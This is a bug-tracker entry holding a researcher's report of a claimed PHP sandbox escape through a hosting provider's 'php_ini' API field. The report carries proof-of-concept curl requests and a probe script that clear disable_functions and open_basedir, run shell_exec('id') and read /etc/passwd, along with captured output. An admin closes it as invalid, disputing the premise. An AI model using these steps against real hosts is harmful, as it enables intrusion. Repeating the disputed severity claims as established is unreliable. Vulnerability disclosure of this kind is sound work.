Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by karandarjishack - 29.10.2026
Last edited by cbay - 29.10.2026

FS#540 - PHP Sandbox Escape via `php_ini` API Field (disable_functions + open_basedir Bypass)

Severity: Critical
CVSS 3.1: 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Date: 2026-10-29
Status: Confirmed — 3/3 fresh reproductions, raw HTTP evidence attached
Related to:  FS#538  — independent attack vector, not a duplicate (see below)

—

## Executive Summary

The alwaysdata REST API exposes a `php_ini` field on the `/v1/site/:id/` endpoint that writes customer-controlled PHP INI directives directly into the site's PHP process configuration, with no filtering or allowlist. Setting `disable_functions=` and `open_basedir=` (both empty) clears the platform's hardened PHP sandbox entirely: `shell_exec`, `system`, `passthru`, and `exec` become available, and the PHP process can read any file on the shared host filesystem, not just its own web root.

This is independent of  FS#538  — a different field, a different mechanism, and additional impact AD-015 never covered (`open_basedir` clearing). Full differentiation below.

Live proof: `shell_exec("id")` returns `uid=559104(kdhunter2026)` — this function is disabled by default on alwaysdata; output is only possible once `disable_functions=` has taken effect.

—

## The Attacker Scenario

An attacker signs up for any alwaysdata plan (€4/month). Via the documented REST API, they set `php_ini` to `disable_functions=\nopen_basedir=`. Apache reloads within seconds. Their PHP process can now run arbitrary system commands and read any file on the shared host — including other customers' files, SSH keys, database credentials, and session data.

This bypasses the core promise of alwaysdata's PHP security model: that `disable_functions` and `open_basedir` protect customers from one another on shared hosting.

Anticipated objection — "you already have account-level access, so this isn't new": `disable_functions` and `open_basedir` don't exist to restrict the account owner — they exist to contain what happens if someone else compromises the web application running on that account through an unrelated bug (a vulnerable plugin, a file-upload flaw, an injected dependency). That attacker gets PHP execution but not the account's credentials. Before this bug: trapped in PHP, no shell, no filesystem access outside the site root. After: full shell and full filesystem read. The `php_ini` field's own name implies it was meant for ordinary user-level tuning (`memory_limit`, `upload_max_filesize`, `max_execution_time`) — accepting admin-only security directives with zero filtering is a validation gap, not an intended capability extension for account owners.

—

## Proof of Concept

### Step 1 — Inject PHP INI directives via the API

```bash
curl -s -X PATCH "https://api.alwaysdata.com/v1/site/[SITE_ID]/" \

  1. u "[API_TOKEN]:" \
  2. H "Content-Type: application/json" \
  3. d '{

"php_ini": "auto_prepend_file=/etc/passwd\ndisable_functions=\nopen_basedir="

}'

```

Response: `HTTP 204 No Content`

Verify stored (confirms no sanitization): ```bash
curl -s "https://api.alwaysdata.com/v1/site/[SITE_ID]/" -u "[API_TOKEN]:"
# → "php_ini": "auto_prepend_file=/etc/passwd\ndisable_functions=\nopen_basedir="
```

### Step 2 — Upload a PHP probe file

```bash
cat > /home/kdhunter2026/www/probe.php « 'EOF'
<?php
echo "disable_functions: " . ini_get('disable_functions') . "\n";
echo "open_basedir: " . ini_get('open_basedir') . "\n";
echo "shell_exec: " . @shell_exec('id') . "\n";
$r = @file_get_contents('/etc/passwd');
echo "/etc/passwd: " . ($r ? "readable (" . strlen($r) . " bytes)" : "blocked") . "\n";
EOF ```

### Step 3 — Trigger via HTTP request

```bash
curl -s "https://kdhunter2026.alwaysdata.net/probe.php"
```

Live HTTP response (captured 2026-10-29T02:47:00Z): ```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
… [32 lines of /etc/passwd — 1764 bytes — prepended by auto_prepend_file]
…

PHP INI TEST

auto_prepend_file: /etc/passwd
open_basedir:
disable_functions:
allow_url_include: 0
allow_url_fopen: 1
shell_exec(id): uid=559104(kdhunter2026) gid=511502(kdhunter2026) groups=511502(kdhunter2026)
system(id): uid=559104(kdhunter2026) gid=511502(kdhunter2026) groups=511502(kdhunter2026)
/etc/passwd readable: YES (len=1764)
First 100 bytes: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/

END

```

—

## Why This Is Not a Duplicate of AD-015 ( FS#538 )

Dimension AD-015 ( FS#538 ) AD-022
———
Attack field `vhost_additional_directives` `php_ini`
Mechanism Apache `FcgidInitialEnv PHP_ADMIN_VALUE` Direct PHP ini injection
Also clears `open_basedir`? Not tested Yes — confirmed
`auto_prepend_file` as a second primitive? Not tested Yes — confirmed
Exploitability Requires knowledge of Apache FcgiD directives Simpler — any PHP ini directive works
Fix Block `PHP_ADMIN_VALUE` in `vhost_additional_directives` Allowlist directives in `php_ini`

The decisive test for "same vulnerability" is whether the same fix closes both — it doesn't. AD-015's fix (rejecting `PHP_ADMIN_VALUE` inside `vhost_additional_directives`) does nothing to stop `php_ini` from accepting `disable_functions=` directly: different field, parsed by a different part of the API, with no relationship to Apache directive syntax. Conversely, AD-022's fix (allowlisting `php_ini` directives) does nothing to stop `vhost_additional_directives` from still accepting `FcgidInitialEnv PHP_ADMIN_VALUE`. AD-022 also demonstrates impact AD-015 never claimed: `open_basedir` clearing, and `auto_prepend_file` as a second, independent primitive within the same field.

Two separate customer-facing fields, two separate validation gaps, two separate fixes required. That both converge on the same PHP security controls is a platform-wide pattern worth auditing for (see Remediation, below) — not a reason to treat this as one bug reported twice.

—

## Impact

Impact Detail Live proof
———
Arbitrary OS command execution `shell_exec`, `system`, `passthru`, `exec` all enabled `uid=559104(kdhunter2026)` @ 02:47Z
Full filesystem read `open_basedir` cleared — `/etc/passwd` (1,764 bytes) read; any other world-readable file equally accessible 02:47Z
File injection on every response `auto_prepend_file=/etc/passwd` injects file content into all PHP responses 02:47Z

—

## CVSS 3.1 Breakdown

Metric Value Justification
———
Attack Vector Network HTTPS API PATCH + HTTP trigger — entirely remote
Attack Complexity Low One API call, one HTTP request; no race condition, no timing dependency
Privileges Required Low Any alwaysdata API token — any paying customer has one
User Interaction None Fully automated, no victim action required
Scope Changed Starts in the customer's PHP sandbox; escapes to the OS and filesystem
Confidentiality High Arbitrary file read from the host filesystem
Integrity High Write access to the account's filesystem — trivially available once arbitrary `shell_exec` is confirmed
Availability High Unrestricted `shell_exec` trivially implies process/resource control; not separately demonstrated to avoid unnecessary risk

Base Score: 9.9 (Critical) Calculator: https://www.first.org/cvss/calculator/3.1#AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

—

## Root Cause

The `php_ini` field on `/v1/site/:id/` is injected verbatim into the site's PHP INI configuration, with no allowlist of permitted directives.

The correct fix is to allowlist only safe, user-level directives. The following must never be customer-settable, because they override platform security controls:

- `disable_functions` — which PHP functions are callable
- `disable_classes` — which PHP classes are available
- `open_basedir` — filesystem access boundaries
- `auto_prepend_file` / `auto_append_file` — inject a file into every PHP response
- `extension` / `zend_extension` — load extensions from arbitrary paths
- `include_path` — path traversal into sensitive areas

—

## Remediation

1. Immediate: Set the `php_ini` field to read-only, or reject writes to it, until a fix ships.
2. Fix: Allowlist the specific PHP ini directives customers may set. Reject anything that overrides a security control (`disable_functions`, `open_basedir`, `auto_prepend_file`, `extension`, etc.).
3. Defense in depth: Enforce `disable_functions`/`open_basedir` via `php_admin_value`/`php_admin_flag` at the platform level — settings a user-level ini file cannot override, regardless of what any customer-facing field accepts.
4. Audit: Check every other customer-facing field that writes into Apache or PHP configuration for the same pattern. `php_ini` and `vhost_additional_directives` (AD-015/ FS#538 ) may not be the only two.

—

Closed by  cbay
29.10.2026 08:25
Reason for closing:  Invalid
Admin
cbay commented on 29.10.2026 08:25

Hello,

Setting `disable_functions=` and `open_basedir=` (both empty) clears the platform's hardened PHP sandbox entirely

We don't even set those.

Kind regards,
Cyril

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing